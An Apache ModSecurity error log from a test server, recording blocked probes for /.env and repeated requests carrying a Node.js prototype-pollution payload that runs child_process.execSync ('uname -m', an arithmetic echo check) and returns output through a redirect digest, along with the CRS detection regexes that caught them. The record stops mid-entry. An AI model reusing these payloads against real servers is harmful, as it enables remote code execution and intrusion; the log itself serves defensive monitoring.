[Wed Jan 21 15:52:37.830176 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Wed Jan 21 15:52:37.830361 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Thu Jan 22 10:57:13.637807 2026] [:error] [pid 1576472] [client 204.76.203.25:44826] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXH0ea9N6hZoNlcC1yCysgAAAAk&quot;]
[Thu Jan 22 10:57:13.638107 2026] [:error] [pid 1576472] [client 204.76.203.25:44826] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXH0ea9N6hZoNlcC1yCysgAAAAk&quot;]
[Thu Jan 22 10:57:13.638292 2026] [:error] [pid 1576472] [client 204.76.203.25:44826] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXH0ea9N6hZoNlcC1yCysgAAAAk&quot;]
[Thu Jan 22 17:48:32.758004 2026] [:error] [pid 1574629] [client 94.72.124.104:45094] [client 94.72.124.104] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${encodeuricomponent(string(res))} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(uname -m).tostring() })() throw object.assign(...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4Ly_wl5qZv7_IHA2nQAAAAA&quot;]
[Thu Jan 22 17:48:32.758501 2026] [:error] [pid 1574629] [client 94.72.124.104:45094] [client 94.72.124.104] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;uname -m&#039;).toString...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4Ly_wl5qZv7_IHA2nQAAAAA&quot;]
[Thu Jan 22 17:48:32.759873 2026] [:error] [pid 1574629] [client 94.72.124.104:45094] [client 94.72.124.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4Ly_wl5qZv7_IHA2nQAAAAA&quot;]
[Thu Jan 22 17:48:32.760049 2026] [:error] [pid 1574629] [client 94.72.124.104:45094] [client 94.72.124.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4Ly_wl5qZv7_IHA2nQAAAAA&quot;]
[Thu Jan 22 17:48:33.489435 2026] [:error] [pid 1574631] [client 94.72.124.104:45106] [client 94.72.124.104] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((6 7))test).tostring() })() throw object.assign(new error(next_redirect) {digest:`next_redirect push/x?d=${encodeuricomponent(string(res)) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(echo ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4XQ7hJqieVqeP8FlPQAAAAI&quot;]
[Thu Jan 22 17:48:33.489811 2026] [:error] [pid 1574631] [client 94.72.124.104:45106] [client 94.72.124.104] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;echo TEST$((6+7))TE...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4XQ7hJqieVqeP8FlPQAAAAI&quot;]
[Thu Jan 22 17:48:33.489862 2026] [:error] [pid 1574631] [client 94.72.124.104:45106] [client 94.72.124.104] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;echo TEST$((6 7))TE...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4XQ7hJqieVqeP8FlPQAAAAI&quot;]
[Thu Jan 22 17:48:33.491188 2026] [:error] [pid 1574631] [client 94.72.124.104:45106] [client 94.72.124.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4XQ7hJqieVqeP8FlPQAAAAI&quot;]
[Thu Jan 22 17:48:33.491370 2026] [:error] [pid 1574631] [client 94.72.124.104:45106] [client 94.72.124.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXJU4XQ7hJqieVqeP8FlPQAAAAI&quot;]
[Fri Jan 23 00:26:36.165577 2026] [:error] [pid 1593964] [client 54.232.191.174:36712] [client 54.232.191.174] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${encodeuricomponent(string(res))} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(uname -m).tostring() })() throw object.assign(...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLEoUE7ZKeBk4FBdvfAAAAAA&quot;]
[Fri Jan 23 00:26:36.165938 2026] [:error] [pid 1593964] [client 54.232.191.174:36712] [client 54.232.191.174] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;uname -m&#039;).toString...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLEoUE7ZKeBk4FBdvfAAAAAA&quot;]
[Fri Jan 23 00:26:36.167311 2026] [:error] [pid 1593964] [client 54.232.191.174:36712] [client 54.232.191.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLEoUE7ZKeBk4FBdvfAAAAAA&quot;]
[Fri Jan 23 00:26:36.167495 2026] [:error] [pid 1593964] [client 54.232.191.174:36712] [client 54.232.191.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLEoUE7ZKeBk4FBdvfAAAAAA&quot;]
[Fri Jan 23 00:26:37.190889 2026] [:error] [pid 1593966] [client 54.232.191.174:54608] [client 54.232.191.174] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((6 7))test).tostring() })() throw object.assign(new error(next_redirect) {digest:`next_redirect push/x?d=${encodeuricomponent(string(res)) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(echo ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLaP40BFwWKhkvnnIGQAAAAQ&quot;]
[Fri Jan 23 00:26:37.191278 2026] [:error] [pid 1593966] [client 54.232.191.174:54608] [client 54.232.191.174] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;echo TEST$((6+7))TE...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLaP40BFwWKhkvnnIGQAAAAQ&quot;]
[Fri Jan 23 00:26:37.191331 2026] [:error] [pid 1593966] [client 54.232.191.174:54608] [client 54.232.191.174] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;echo TEST$((6 7))TE...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLaP40BFwWKhkvnnIGQAAAAQ&quot;]
[Fri Jan 23 00:26:37.192693 2026] [:error] [pid 1593966] [client 54.232.191.174:54608] [client 54.232.191.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLaP40BFwWKhkvnnIGQAAAAQ&quot;]
[Fri Jan 23 00:26:37.192863 2026] [:error] [pid 1593966] [client 54.232.191.174:54608] [client 54.232.191.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXKyLaP40BFwWKhkvnnIGQAAAAQ&quot;]
[Fri Jan 23 07:03:32.508820 2026] [:error] [pid 1596304] [client 35.203.86.5:59586] [client 35.203.86.5] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${encodeuricomponent(string(res))} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(uname -m).tostring() })() throw object.assign(...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNDhDL5QTdZ-T3ORXYQAAAAI&quot;]
[Fri Jan 23 07:03:32.509241 2026] [:error] [pid 1596304] [client 35.203.86.5:59586] [client 35.203.86.5] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;uname -m&#039;).toString...&quot;] [severity 